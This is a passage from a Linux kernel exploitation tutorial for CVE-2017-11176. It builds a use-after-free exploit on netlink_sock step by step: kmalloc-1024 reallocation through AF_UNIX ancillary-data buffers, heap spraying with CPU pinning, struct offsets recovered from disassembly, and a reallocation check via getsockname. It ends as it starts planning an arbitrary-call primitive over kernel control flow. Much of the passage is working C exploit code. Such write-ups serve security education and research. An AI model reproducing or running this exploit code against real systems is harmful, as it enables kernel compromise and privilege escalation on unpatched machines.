    
[/code]

That is, it checks if the provided len in _msg\_controllen_ is greater than 16
bytes. If not, it means that the control message buffer does not even hold a
control message header\! In that case, it returns NULL. Otherwise, it returns
the starting address of the first control message \(i.e. _msg\_control_\).

In order to find the next control message, one must use the
**CMG\_NXTHDR\(\)** to retrieve the starting address of the next control
message header:

[code]

    #define CMSG_NXTHDR(mhdr, cmsg) cmsg_nxthdr((mhdr), (cmsg))
    
    static inline struct cmsghdr * cmsg_nxthdr (struct msghdr *__msg, struct cmsghdr *__cmsg)
    {
        return __cmsg_nxthdr(__msg->msg_control, __msg->msg_controllen, __cmsg);
    }
    
    static inline struct cmsghdr * __cmsg_nxthdr(void *__ctl, __kernel_size_t __size,
                               struct cmsghdr *__cmsg)
    {
        struct cmsghdr * __ptr;
    
        __ptr = (struct cmsghdr*)(((unsigned char *) __cmsg) +  CMSG_ALIGN(__cmsg->cmsg_len));
        if ((unsigned long)((char*)(__ptr+1) - (char *) __ctl) > __size)
            return (struct cmsghdr *)0;
    
        return __ptr;
    }
    
[/code]

**This is not as complex as it looks\!**. It basically takes the current
control message header address _cmsg_ and adds **cmsg\_len** bytes specified
in the current control message header \(plus some alignment if necessary\). If
the "next header" is out of the _total size_ of the whole _control message
buffer_ , then it means there is no more header, it returns NULL. Otherwise,
the computed pointer \(i.e. next header\) is returned.

**Beware\! The _cmsg\_len_ is the len of the control message AND its
header\!**.

Finally, there is a _sanity check_ macro **CMSG\_OK\(\)** to check that the
_current_ control message size \(i.e. _cmsg\_len_\) is not greater than the
whole control message buffer:

[code]

    #define CMSG_OK(mhdr, cmsg) ((cmsg)->cmsg_len >= sizeof(struct cmsghdr) && \
                     (cmsg)->cmsg_len <= (unsigned long) \
                     ((mhdr)->msg_controllen - \
                      ((char *)(cmsg) - (char *)(mhdr)->msg_control)))
    
[/code]

Alright, now let's look at the **\_\_scm\_send\(\)** code which is the one
doing something useful \(eventually\) with the control messages:

[code]

          int __scm_send(struct socket *sock, struct msghdr *msg, struct scm_cookie *p)
          {
            struct cmsghdr *cmsg;
            int err;
    
    [0]     for (cmsg = CMSG_FIRSTHDR(msg); cmsg; cmsg = CMSG_NXTHDR(msg, cmsg))
            {
              err = -EINVAL;
    
    [1]       if (!CMSG_OK(msg, cmsg))
                goto error;
    
    [2]       if (cmsg->cmsg_level != SOL_SOCKET)
                continue;
    
              // ... cut (skipped code) ...
            }
    
            // ... cut ...
    
    [3]     return 0;
    
          error:
            scm_destroy(p);
            return err;
          }
    
[/code]

Our objective is to force _\_\_scm\_send\(\)_ to return 0 \[3\]. Because
**msg\_controllen** is the size of our reallocation \(i.e. 1024\), we will
enter the loop \[0\] \(i.e. _CMSG\_FIRSTHDR\(msg\) \!= NULL_\).

Because of the \[1\], the value in the _first control message header_ should
be valid. We will set it to 1024 \(size of the whole control message buffer\).
Then, by specifying a value different than SOL\_SOCKET \(i.e. 1\), we can skip
the whole loop \[2\]. That is, the next control message header will be seeked
by _CMSG\_NXTHDR\(\)_ since the **cmsg\_len is equal to msg\_controllen**
\(i.e. there is only ONE control message\), cmsg will be set to NULL and we
will gracefully exit the loop and return zero \[3\]\!

In other words, with this reallocation:

  * we can **NOT control the first 8 bytes** of the reallocation buffer \(it is the size=1024\)
  * we have a **constraint on the second field** of the cmsg control header \(value different than one\)
  * The last 4 bytes of the header are **free for use** as well as the other **1008 bytes**

<img src='img/Temp2_4900.png' width='481' height='380' />

Nice, we've got everything needed to reallocate in the kmalloc-1024 cache with
\(almost\) arbitrary data. Before digging into the implementation, let's have
a short study of what could possibly go wrong.

## What Could Possible Go Wrong?

In the Reallocation Introduction, the _ideal_ scenario case \(i.e. fastest
path\) has been covered. However, what will happen if we don't hit that path?
Things can go wrong...

**WARNING** : We will not cover every path of _kmalloc\(\)/kfree\(\)_ it is
expected that you understand your allocator by now.

For instance, let's consider that the _netlink\_sock_ object is about to be
free'd:

  1. If the _array\_cache_ is full, it will call **cache\_flusharray\(\)**. This will put _batchcount_ free pointer to the _shared per-node_ array\_cache \(if any\) and call **free\_block\(\)**. That is, the **next kmalloc\(\) fastest path will not re-use the lastest free'd object**. This breaks the LIFO property\!
  2. If it is about freeing the last "used" object in a _partial slab_ it is moved to the slabs\_free list.
  3. If the cache already has "too much" free objects, the _free slab_ is destroyed \(i.e. pages are given back to the buddy\)\!
  4. The buddy itself _may_ initiate some "compaction" stuff \(what about PCP?\) and starts sleeping.
  5. The scheduler decided to move your task to another CPU and the _array\_cache_ is per-cpu
  6. The system \(not because of you\) is currently running out-of-memory and tries to reclaim memory from every subsystems/allocators, etc.

There are other paths to consider, and the same goes for the _kmalloc\(\)_...
All of these issues considered that your task was _alone_ in the system. But
the story does not stop here\!

**There are other tasks \(including kernel ones\) that concurrently use the
_kmalloc-1024_ cache. You are "in race" with them. A race that you _can_
loose...**

For instance, you just free'd the _netlink\_sock_ object, but then another
task also free'd a _kmalloc-1024_ object. That is, you will need to **allocate
twice** to reallocate the _netlink\_sock_ \(LIFO\). What if another task
"stole it" \(i.e. _raced_ you\)? Well... you can't reallocate it anymore until
this very same task does not give it back \(and hopefully hasn't been migrated
to another cpu...\). But then, how to detect it?

As you can see, lots of things can go wrong. This is the most critical path in
the exploit: _after_ freeing the _netlink\_sock_ object but _before_
reallocating it. We cannot address all these issues in the article. This is
for more advanced exploit and it requires stronger knowledge of the kernel.
Reliable reallocation is a complex topic.

However, let's explain two basic techniques that solve some of the
aforementioned issues:

  1. Fixing the CPU with **sched\_setaffinity\(\)** syscall. The _array\_cache_ is a per-CPU data structure. If you set a CPU mask to a single CPU at the beginning of the exploit, you are guaranteed to use the same _array\_cache_ when freeing and reallocating.
  2. **Heap Spraying**. By reallocating "a lot", we have a chance to reallocate the _netlink\_sock_ object even if other tasks also free'd some _kmalloc-1024_ objects. In addition, if the _netlink\_sock_ 's slab is put at the end of the free slab list, we try to allocate all of them until a _cache\_grow\(\)_ eventually occurs. However, this is pure guessing \(remember: basic technique\).

Please check the implementation section to see how this is done.

## A New Hope

You've got scared by the last section? Do not worry, we are lucky this time.
The object \(_struct netlink\_sock_\) we are trying to exploit lies in the
**kmalloc-1024**. This is an _awesome_ cache because it is not used a lot by
the kernel. To convince you, do the _poor man method_ described in "Method
\#5" \(cf. Detecting the object size\) and observe the various general
kmemcaches:

[code]

    watch -n 0.1 'sudo cat /proc/slabinfo | egrep "kmalloc-|size-" | grep -vi dma'
    
[/code]

See? It does not move that much \(at all?\). Now look at "kmalloc-256",
"kmalloc-192", "kmalloc-64", "kmalloc-32". Those are the bad guys... They are
simply the most common kernel object sizes. Exploiting a UAF in those caches
can quickly turn in hell. Of course, the "kmalloc activity" depends on your
target and the processes running on it. But, the previous caches are
_unstable_ on almost all systems.

## Reallocation Implementation

Alright\! It is time to get back to our PoC and start coding the reallocation.

Let's fix the **array\_cache** issue by migrating all our threads into the
CPU\#0:

[code]

    static int migrate_to_cpu0(void)
    {
      cpu_set_t set;
    
      CPU_ZERO(&set);
      CPU_SET(0, &set);
    
      if (_sched_setaffinity(_getpid(), sizeof(set), &set) == -1)
      {
        perror("[-] sched_setaffinity");
        return -1;
      }
    
      return 0;
    }
    
[/code]

Next, we want to check that we can use the "ancillary data buffer" primitive,
let's probe the _optmem\_max_ sysctl value \(via the _procfs_\):

[code]

    static bool can_use_realloc_gadget(void)
    {
      int fd;
      int ret;
      bool usable = false;
      char buf[32];
    
      if ((fd = _open("/proc/sys/net/core/optmem_max", O_RDONLY)) < 0)
      {
        perror("[-] open");
        // TODO: fallback to sysctl syscall
        return false; // we can't conclude, try it anyway or not ?
      }
    
      memset(buf, 0, sizeof(buf));
      if ((ret = _read(fd, buf, sizeof(buf))) <= 0)
      {
        perror("[-] read");
        goto out;
      }
      printf("[ ] optmem_max = %s", buf);
    
      if (atol(buf) > 512) // only test if we can use the kmalloc-1024 cache
        usable = true;
    
    out:
      _close(fd);
      return usable;
    }
    
[/code]

The next step is to prepare the control message buffer. Please note that
**g\_realloc\_data** is declared globally, so every thread can access it. The
proper _cmsg_ fields are set:

[code]

    #define KMALLOC_TARGET 1024
    
    static volatile char g_realloc_data[KMALLOC_TARGET];
    
    static int init_realloc_data(void)
    {
      struct cmsghdr *first;
    
      memset((void*)g_realloc_data, 0, sizeof(g_realloc_data));
    
      // necessary to pass checks in __scm_send()
      first = (struct cmsghdr*) g_realloc_data;
      first->cmsg_len = sizeof(g_realloc_data);
      first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg
      first->cmsg_type = 1; // <---- ARBITRARY VALUE
    
      // TODO: do something useful will the remaining bytes (i.e. arbitrary call)
    
      return 0;
    }
    
[/code]

Because we will re-allocate with AF\_UNIX sockets, we need to prepare them. We
will create a pair of socket for _every reallocation threads. Here, we create
a \_special kind_ of unix sockets: **abstract sockets** \(man 7 unix\). That
is, their address starts with a NULL byte \('@' in _netstat_\). This is not
mandatory, just a preference. The sender socket connects to the receiver
socket and finally, we set the _timeout_ value to _MAX\_SCHEDULE\_TIMEOUT_
with _setsockopt\(\)_ :

[code]

    struct realloc_thread_arg
    {
      pthread_t tid;
      int recv_fd;
      int send_fd;
      struct sockaddr_un addr;
    };
    
    static int init_unix_sockets(struct realloc_thread_arg * rta)
    {
      struct timeval tv;
      static int sock_counter = 0;
    
      if (((rta->recv_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) ||
          ((rta->send_fd = _socket(AF_UNIX, SOCK_DGRAM, 0)) < 0))
      {
        perror("[-] socket");
        goto fail;
      }
    
      // bind an "abstract" socket (first byte is NULL)
      memset(&rta->addr, 0, sizeof(rta->addr));
      rta->addr.sun_family = AF_UNIX;
      sprintf(rta->addr.sun_path + 1, "sock_%lx_%d", _gettid(), ++sock_counter);
      if (_bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
      {
        perror("[-] bind");
        goto fail;
      }
    
      if (_connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
      {
        perror("[-] connect");
        goto fail;
      }
    
      // set the timeout value to MAX_SCHEDULE_TIMEOUT
      memset(&tv, 0, sizeof(tv));
      if (_setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv)))
      {
        perror("[-] setsockopt");
        goto fail;
      }
    
      return 0;
    
    fail:
      // TODO: release everything
      printf("[-] failed to initialize UNIX sockets!\n");
      return -1;
    }
    
[/code]

The reallocation threads are initialized with **init\_reallocation\(\)** :

[code]

    static int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs)
    {
      int thread = 0;
      int ret = -1;
    
      if (!can_use_realloc_gadget())
      {
        printf("[-] can't use the 'ancillary data buffer' reallocation gadget!\n");
        goto fail;
      }
      printf("[+] can use the 'ancillary data buffer' reallocation gadget!\n");
    
      if (init_realloc_data())
      {
        printf("[-] failed to initialize reallocation data!\n");
        goto fail;
      }
      printf("[+] reallocation data initialized!\n");
    
      printf("[ ] initializing reallocation threads, please wait...\n");
      for (thread = 0; thread < nb_reallocs; ++thread)
      {
        if (init_unix_sockets(&rta[thread]))
        {
          printf("[-] failed to init UNIX sockets!\n");
          goto fail;
        }
    
        if ((ret = pthread_create(&rta[thread].tid, NULL, realloc_thread, &rta[thread])) != 0)
        {
          perror("[-] pthread_create");
          goto fail;
        }
      }
    
      // wait until all threads have been created
      while (g_nb_realloc_thread_ready < nb_reallocs)
        _sched_yield(); // don't run me, run the reallocator threads!
    
      printf("[+] %lu reallocation threads ready!\n", nb_reallocs);
    
      return 0;
    
    fail:
      printf("[-] failed to initialize reallocation\n");
      return -1;
    }
    
[/code]

Once started, the reallocation thread prepares the sender socket to block by
flooding the receiver's receive buffer with _MSG\_DONTWAIT_ \(i.e. non-
blocked\), and then blocks until the "big GO" \(i.e. reallocation\):

[code]

    static volatile size_t g_nb_realloc_thread_ready = 0;
    static volatile size_t g_realloc_now = 0;
    
    static void* realloc_thread(void *arg)
    {
      struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg;
      struct msghdr mhdr;
      char buf[200];
    
      // initialize msghdr
      struct iovec iov = {
        .iov_base = buf,
        .iov_len = sizeof(buf),
      };
      memset(&mhdr, 0, sizeof(mhdr));
      mhdr.msg_iov = &iov;
      mhdr.msg_iovlen = 1;
    
      // the thread should inherit main thread cpumask, better be sure and redo-it!
      if (migrate_to_cpu0())
        goto fail;
    
      // make it block
      while (_sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0)
        ;
      if (errno != EAGAIN)
      { 
        perror("[-] sendmsg");
        goto fail;
      }
    
      // use the arbitrary data now
      iov.iov_len = 16; // don't need to allocate lots of memory in the receive queue
      mhdr.msg_control = (void*)g_realloc_data; // use the ancillary data buffer
      mhdr.msg_controllen = sizeof(g_realloc_data);
    
      g_nb_realloc_thread_ready++;
    
      while (!g_realloc_now) // spinlock until the big GO!
        ;
    
      // the next call should block while "reallocating"
      if (_sendmsg(rta->send_fd, &mhdr, 0) < 0)
      {
        perror("[-] sendmsg");
        goto fail;
      }
    
      return NULL;
    
    fail:
      printf("[-] REALLOC THREAD FAILURE!!!\n");
      return NULL;
    }
    
[/code]

The reallocation threads will _spinlock_ with **g\_realloc\_now** , until the
main thread tells them to start the reallocation with **realloc\_NOW\(\)**
\(it is important to keep it _inlined_\):

[code]

    // keep this inlined, we can't loose any time (critical path)
    static inline __attribute__((always_inline)) void realloc_NOW(void)
    {
      g_realloc_now = 1;
      _sched_yield(); // don't run me, run the reallocator threads!
      sleep(5);
    }
    
[/code]

The **sched\_yield\(\)** syscall forces the main thread to be preempted.
Fortunately, the next scheduled thread will be one of our reallocated thread,
hence win the reallocation race.

Finally, the **main\(\)** code becomes:

[code]

    int main(void)
    {
      int sock_fd  = -1;
      int sock_fd2 = -1;
      int unblock_fd = 1;
      struct realloc_thread_arg rta[NB_REALLOC_THREADS];
    
      printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");
    
      if (migrate_to_cpu0())
      {
        printf("[-] failed to migrate to CPU#0\n");
        goto fail;
      }
      printf("[+] successfully migrated to CPU#0\n");
    
      memset(rta, 0, sizeof(rta));
      if (init_reallocation(rta, NB_REALLOC_THREADS))
      {
        printf("[-] failed to initialize reallocation!\n");
        goto fail;
      }
      printf("[+] reallocation ready!\n");
    
      if ((sock_fd = prepare_blocking_socket()) < 0)
        goto fail;
      printf("[+] netlink socket created = %d\n", sock_fd);
    
      if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))
      {
        perror("[-] dup");
        goto fail;
      }
      printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);
    
      // trigger the bug twice AND immediatly realloc!
      if (decrease_sock_refcounter(sock_fd, unblock_fd) ||
          decrease_sock_refcounter(sock_fd2, unblock_fd))
      {
        goto fail;
      }
      realloc_NOW();
    
      printf("[ ] ready to crash?\n");
      PRESS_KEY();
    
      close(unblock_fd);
    
      printf("[ ] are we still alive ?\n");
      PRESS_KEY();
    
      // TODO: exploit
    
      return 0;
    
    fail:
      printf("[-] exploit failed!\n");
      PRESS_KEY();
      return -1;
    }
    
[/code]

You can run the exploit now but you won't see anything useful. We are still
randomly crashing during _netlink\_release\(\)_. We will fix this in the next
section.

* * *
# Exploit \(Arbitrary Call\)

_"Where there is a will, there is way..."_

In the previous sections, we:

  * explained the basics of _reallocation_ and _type confusion_
  * gathered information about our own UAF and identified the dangling pointers
  * understood that we can trigger/control the UAF whenever we want
  * implemented the reallocation\!

It is time to put this all together and exploit the UAF. Keep in mind that:

**The ultimate goal is to take control over the _kernel execution flow_.**

What dictates the kernel execution flow? Like any other program, the
instruction pointer: RIP \(amd64\) or PC \(arm\).

As we've seen in Core Concept \#1, the kernel is full of _Virtual Function
Table \(VFT\)_ and **function pointers** to achieve some genericity.
Overwriting them and invoking them **allows to control the flow of execution**
This is what we will do here.

* * *
## The Primitive Gates

Let's get back to our _UAF primitives_. In a previous section, we saw that we
can control \(or trigger\) the UAF by calling **close\(unblock\_fd\)**. In
addition, we saw that the **sk** field of _struct socket_ is a dangling
pointer. The relation between both are the VFTs:

  * _struct file\_operations**socket\_file\_ops**_ : _close\(\)_ syscall to _sock\_close\(\)_
  * _struct proto\_ops**netlink\_ops**_ : _sock\_close\(\)_ to _netlink\_release\(\)_ \(which uses _sk_ intensively\)

**Those VFT are our primitive gates: every single _UAF primitive_ starts from
one of those function pointers.**

However, we can NOT control those pointers directly. The reason being that the
free'd structure is _struct netlink\_sock_. Instead, pointers to these VFTs
are stored in _struct file_ and _struct socket_ respectively. We will exploit
the primitive those VFTs offer.

For instance, let's look at **netlink\_getname\(\)** \(from _netlink\_ops_\)
which is reachable through the following \(pretty straight forward\) call
trace:

[code]

    - SYSCALL_DEFINE3(getsockname, ...) // calls sock->ops->getname()
    - netlink_getname()
    
[/code]

[code]

    static int netlink_getname(struct socket *sock, struct sockaddr *addr,
                   int *addr_len, int peer)
    {
        struct sock *sk = sock->sk;                                 // <----- DANGLING POINTER
        struct netlink_sock *nlk = nlk_sk(sk);                      // <----- DANGLING POINTER
        struct sockaddr_nl *nladdr = (struct sockaddr_nl *)addr;    // <----- will be transmitted to userland
    
        nladdr->nl_family = AF_NETLINK;
        nladdr->nl_pad = 0;
        *addr_len = sizeof(*nladdr);
    
        if (peer) {                                                 // <----- set to zero by getsockname() syscall
            nladdr->nl_pid = nlk->dst_pid;
            nladdr->nl_groups = netlink_group_mask(nlk->dst_group);
        } else {
            nladdr->nl_pid = nlk->pid;                                // <----- uncontrolled read primitive
            nladdr->nl_groups = nlk->groups ? nlk->groups[0] : 0;     // <----- uncontrolled read primitive
        }
        return 0;
    }
    
[/code]

**Wow\! This is a nice "uncontrolled read primitive" \(two reads and no side-
effect\). We will use it to improve the exploit reliability in order to detect
if the reallocation succeeds.**

## Reallocation Checker Implementation

Let's start playing with the previous primitive and check if the reallocation
succeeds\! How can we do this? Here is the plan:

  1. Find the **exact offsets** of _nlk- >pid_ and _nlk- >groups_
  2. Write some magic value in our "reallocation data area" \(i.e. _init\_realloc\_data\(\)_\)
  3. Call **getsockname\(\)** syscall and check the returned value.

If the returned address matches our magic value, it means the reallocation
worked and we have exploited our first _UAF primitive_ \(uncontrolled read\)\!
You won't always have the luxury to validate if the reallocation worked or
not.

In order to find the offsets of _nlk- >pid_ and _nlk- >groups_, we first need
to get the binary in an uncompressed format. If you don't know how to, check
this link. You should also take the **"/boot/System.map-$\(uname -r\)"** file.
If \(for some reasons\) you don't have access to this file, you might try
**"/proc/kallsyms"** which gives the same results \(needs root access\).

Alright, we are ready to disassemble our kernel. The Linux kernel is basically
just an **ELF binary**. Hence, we can use classic _binutils_ tools like
**objdump**.

We want to find the **exact offsets** of _nlk- >pid_ and _nlk- >groups_ as
they are used in the **netlink\_getname\(\)** function. Let's disassemble it\!
First, locate the address of _netlink\_getname\(\)_ with the _System.map_
file:

[code]

    $ grep "netlink_getname" System.map-2.6.32
    ffffffff814b6ea0 t netlink_getname
    
[/code]

In our case, the _netlink\_getname\(\)_ function will be loaded at address
_0xffffffff814b6ea0_.

**NOTE** : We assume that KASLR is disabled.

Next, open the vmlinux \(NOT vmlinuZ\!\), with a disassembly tool and let's
analyze the _netlink\_getname\(\)_ function:

[code]

    ffffffff814b6ea0:       55                      push   rbp
    ffffffff814b6ea1:       48 89 e5                mov    rbp,rsp
    ffffffff814b6ea4:       e8 97 3f b5 ff          call   0xffffffff8100ae40
    ffffffff814b6ea9:       48 8b 47 38             mov    rax,QWORD PTR [rdi+0x38]
    ffffffff814b6ead:       85 c9                   test   ecx,ecx
    ffffffff814b6eaf:       66 c7 06 10 00          mov    WORD PTR [rsi],0x10
    ffffffff814b6eb4:       66 c7 46 02 00 00       mov    WORD PTR [rsi+0x2],0x0
    ffffffff814b6eba:       c7 02 0c 00 00 00       mov    DWORD PTR [rdx],0xc
    ffffffff814b6ec0:       74 26                   je     0xffffffff814b6ee8
    ffffffff814b6ec2:       8b 90 8c 02 00 00       mov    edx,DWORD PTR [rax+0x28c]
    ffffffff814b6ec8:       89 56 04                mov    DWORD PTR [rsi+0x4],edx
    ffffffff814b6ecb:       8b 88 90 02 00 00       mov    ecx,DWORD PTR [rax+0x290]
    ffffffff814b6ed1:       31 c0                   xor    eax,eax
    ffffffff814b6ed3:       85 c9                   test   ecx,ecx
    ffffffff814b6ed5:       74 07                   je     0xffffffff814b6ede
    ffffffff814b6ed7:       83 e9 01                sub    ecx,0x1
    ffffffff814b6eda:       b0 01                   mov    al,0x1
    ffffffff814b6edc:       d3 e0                   shl    eax,cl
    ffffffff814b6ede:       89 46 08                mov    DWORD PTR [rsi+0x8],eax
    ffffffff814b6ee1:       31 c0                   xor    eax,eax
    ffffffff814b6ee3:       c9                      leave  
    ffffffff814b6ee4:       c3                      ret    
    ffffffff814b6ee5:       0f 1f 00                nop    DWORD PTR [rax]
    ffffffff814b6ee8:       8b 90 88 02 00 00       mov    edx,DWORD PTR [rax+0x288]
    ffffffff814b6eee:       89 56 04                mov    DWORD PTR [rsi+0x4],edx
    ffffffff814b6ef1:       48 8b 90 a0 02 00 00    mov    rdx,QWORD PTR [rax+0x2a0]
    ffffffff814b6ef8:       31 c0                   xor    eax,eax
    ffffffff814b6efa:       48 85 d2                test   rdx,rdx
    ffffffff814b6efd:       74 df                   je     0xffffffff814b6ede
    ffffffff814b6eff:       8b 02                   mov    eax,DWORD PTR [rdx]
    ffffffff814b6f01:       89 46 08                mov    DWORD PTR [rsi+0x8],eax
    ffffffff814b6f04:       31 c0                   xor    eax,eax
    ffffffff814b6f06:       c9                      leave  
    ffffffff814b6f07:       c3                      ret    
    
[/code]

Let's decompose the previous assembly in smaller chunk and match it to the
original _netlink\_getname\(\)_ function. If you do not remember the **System
V ABI** , please check this link. The most important thing to remember is the
parameter order \(we only have four parameters here\):

  1. **rdi** : _struct socket \*sock_
  2. **rsi** : _struct sockaddr \*addr_
  3. **rdx** : _int \*addr\_len_
  4. **rcx** : _int peer_

Let's go. First we have the _prologue_. The call to _0xffffffff8100ae40_ is a
no-op \(check the disassembly\):

[code]

    ffffffff814b6ea0:       55                      push   rbp
    ffffffff814b6ea1:       48 89 e5                mov    rbp,rsp
    ffffffff814b6ea4:       e8 97 3f b5 ff          call   0xffffffff8100ae40   // <---- NOP
    
[/code]

Next, we have the _common_ part of _netlink\_getname\(\)_ , in ASM:

[code]

    ffffffff814b6ea9:       48 8b 47 38             mov    rax,QWORD PTR [rdi+0x38] // retrieve "sk"
    ffffffff814b6ead:       85 c9                   test   ecx,ecx                  // test "peer" value
    ffffffff814b6eaf:       66 c7 06 10 00          mov    WORD PTR [rsi],0x10      // set "AF_NETLINK"
    ffffffff814b6eb4:       66 c7 46 02 00 00       mov    WORD PTR [rsi+0x2],0x0   // set "nl_pad"
    ffffffff814b6eba:       c7 02 0c 00 00 00       mov    DWORD PTR [rdx],0xc      // sizeof(*nladdr)
    
[/code]

The code then branches depending on the _peer_ value:

[code]

    ffffffff814b6ec0:       74 26                   je     0xffffffff814b6ee8 // "if (peer)"
    
[/code]

If "peer" is not zero \(not our case\), then there is all that code than we
can mostly ignore except the last part:

[code]

    ffffffff814b6ec2:       8b 90 8c 02 00 00       mov    edx,DWORD PTR [rax+0x28c]    // ignore
    ffffffff814b6ec8:       89 56 04                mov    DWORD PTR [rsi+0x4],edx      // ignore
    ffffffff814b6ecb:       8b 88 90 02 00 00       mov    ecx,DWORD PTR [rax+0x290]    // ignore
    ffffffff814b6ed1:       31 c0                   xor    eax,eax                      // ignore
    ffffffff814b6ed3:       85 c9                   test   ecx,ecx                      // ignore
    ffffffff814b6ed5:       74 07                   je     0xffffffff814b6ede           // ignore
    ffffffff814b6ed7:       83 e9 01                sub    ecx,0x1                      // ignore
    ffffffff814b6eda:       b0 01                   mov    al,0x1                       // ignore
    ffffffff814b6edc:       d3 e0                   shl    eax,cl                       // ignore
    ffffffff814b6ede:       89 46 08                mov    DWORD PTR [rsi+0x8],eax      // set "nladdr->nl_groups"
    ffffffff814b6ee1:       31 c0                   xor    eax,eax                      // return code == 0
    ffffffff814b6ee3:       c9                      leave  
    ffffffff814b6ee4:       c3                      ret    
    ffffffff814b6ee5:       0f 1f 00                nop    DWORD PTR [rax]
    
[/code]

Which left us with this simple block, corresponding to the following code:

[code]

    ffffffff814b6ee8:       8b 90 88 02 00 00       mov    edx,DWORD PTR [rax+0x288]  // retrieve "nlk->pid"
    ffffffff814b6eee:       89 56 04                mov    DWORD PTR [rsi+0x4],edx    // give it to "nladdr->nl_pid"
    ffffffff814b6ef1:       48 8b 90 a0 02 00 00    mov    rdx,QWORD PTR [rax+0x2a0]  // retrieve "nlk->groups"
    ffffffff814b6ef8:       31 c0                   xor    eax,eax
    ffffffff814b6efa:       48 85 d2                test   rdx,rdx                    // test if "nlk->groups" it not NULL
    ffffffff814b6efd:       74 df                   je     0xffffffff814b6ede         // if so, set "nl_groups" to zero
    ffffffff814b6eff:       8b 02                   mov    eax,DWORD PTR [rdx]        // otherwise, deref first value of "nlk->groups"
    ffffffff814b6f01:       89 46 08                mov    DWORD PTR [rsi+0x8],eax    // ...and put it into "nladdr->nl_groups"
    ffffffff814b6f04:       31 c0                   xor    eax,eax                    // return code == 0
    ffffffff814b6f06:       c9                      leave  
    ffffffff814b6f07:       c3                      ret    
    
[/code]

Alright, we have everything we need here:

  * _nlk- >pid_ **offset is 0x288** in "struct netlink\_sock"
  * _nlk- >groups_ **offset is 0x2a0** in "struct netlink\_sock"

In order to check that the reallocation succeeds, we will set the **pid**
value to "0x11a5dcee" \(arbitrary value\) and the "groups" value to zero
\(otherwise it will be deferenced\). Let's set those values into our
_arbitrary data array_ \(i.e. _g\_realloc\_data_\):

[code]

    #define MAGIC_NL_PID 0x11a5dcee
    #define MAGIC_NL_GROUPS 0x0
    
    // target specific offset
    #define NLK_PID_OFFSET      0x288
    #define NLK_GROUPS_OFFSET   0x2a0
    
    static int init_realloc_data(void)
    {
      struct cmsghdr *first;
      int* pid = (int*)&g_realloc_data[NLK_PID_OFFSET];
      void** groups = (void**)&g_realloc_data[NLK_GROUPS_OFFSET];
    
      memset((void*)g_realloc_data, 'A', sizeof(g_realloc_data));
    
      // necessary to pass checks in __scm_send()
      first = (struct cmsghdr*) &g_realloc_data;
      first->cmsg_len = sizeof(g_realloc_data);
      first->cmsg_level = 0; // must be different than SOL_SOCKET=1 to "skip" cmsg
      first->cmsg_type = 1; // <---- ARBITRARY VALUE
    
      *pid = MAGIC_NL_PID;
      *groups = MAGIC_NL_GROUPS;
    
      // TODO: do something useful will the remaining bytes (i.e. arbitrary call)
    
      return 0;
    }
    
[/code]

The reallocation data layout becomes:

<img src='img/Temp2_4899.png' width='484' height='430' />

Then check, that we retrieve those values with _getsockname\(\)_ \(i.e.
_netlink\_getname\(\)_\):

[code]

    static bool check_realloc_succeed(int sock_fd, int magic_pid, unsigned long magic_groups)
    {
      struct sockaddr_nl addr;
      size_t addr_len = sizeof(addr);
    
      memset(&addr, 0, sizeof(addr));
      // this will invoke "netlink_getname()" (uncontrolled read)
      if (_getsockname(sock_fd, &addr, &addr_len))
      {
        perror("[-] getsockname");
        goto fail;
      }
      printf("[ ] addr_len = %lu\n", addr_len);
      printf("[ ] addr.nl_pid = %d\n", addr.nl_pid);
      printf("[ ] magic_pid = %d\n", magic_pid);
    
      if (addr.nl_pid != magic_pid)
      {
        printf("[-] magic PID does not match!\n");
        goto fail;
      }
    
      if (addr.nl_groups != magic_groups) 
      {
        printf("[-] groups pointer does not match!\n");
        goto fail;
      }
    
      return true;
    
    fail:
      return false;
    }
    
[/code]

Finally, invoke it in the _main\(\)_ :

[code]

    int main(void)
    {
      // ... cut ...
    
      realloc_NOW();
    
      if (!check_realloc_succeed(unblock_fd, MAGIC_NL_PID, MAGIC_NL_GROUPS))
      {
        printf("[-] reallocation failed!\n");
        // TODO: retry the exploit
        goto fail;
      }
      printf("[+] reallocation succeed! Have fun :-)\n");
    
      // ... cut ...
    }
    
[/code]

Now, re-launch the exploit. If the reallocation succeeds, you should see the
message "\[+\] reallocation succeed\! Have fun :-\)". If not, then the
reallocation has failed\! You can try to handle the reallocation failure by
retrying the exploit \(warning: this will require more than just "relaunching
it"\). For now, we will just accept that we will crash...

In this section, we started doing _type confusion_ with the **pid** field of
our fake "netlink\_sock" struct \(i.e. from _g\_realloc\_data_\). Also, we've
seen how to trigger an _uncontrolled read primitive_ with **getsockname\(\)**
which ends in _netlink\_getname\(\)_. Now that you are more familiar with UAF
primitives, let's move on and get the arbitrary call\!

## Arbitrary Call Primitive

Alright, now you \(hopefully\) understood where our _UAF primitives_ are and
how to reach them \(with file and/or socket-related syscalls\). Note that we
did not even considered the primitives brough by the other _dangling pointer_
: hash list in **nl\_table**. It is time to reach our goal: gain control over
kernel execution flow.

Since we want to control the kernel execution flow, we need an _arbitrary call
primitive_. As being said, we can have it by overwriting a function pointer.
Does the _struct netlink\_sock_ structure hold any function pointer \(FP\)?

[code]

    struct netlink_sock {
        /* struct sock has to be the first member of netlink_sock */
        struct sock     sk;                                 // <----- lots of (in)direct FPs
        u32         pid;
        u32         dst_pid;
        u32         dst_group;
        u32         flags;
        u32         subscriptions;
        u32         ngroups;
        unsigned long       *groups;
        unsigned long       state;
        wait_queue_head_t   wait;                           // <----- indirect FP
        struct netlink_callback *cb;                      // <----- two FPs
        struct mutex        *cb_mutex;
        struct mutex        cb_def_mutex;
        void            (*netlink_rcv)(struct sk_buff *skb);    // <----- one FP
        struct module       *module;
    };
    
[/code]

Yay\! We have lots of choices :-\). What is a good _arbitrary call primitive_?
One that:

  * is _quickly_ reachable from a syscall \(i.e. small call trace\)
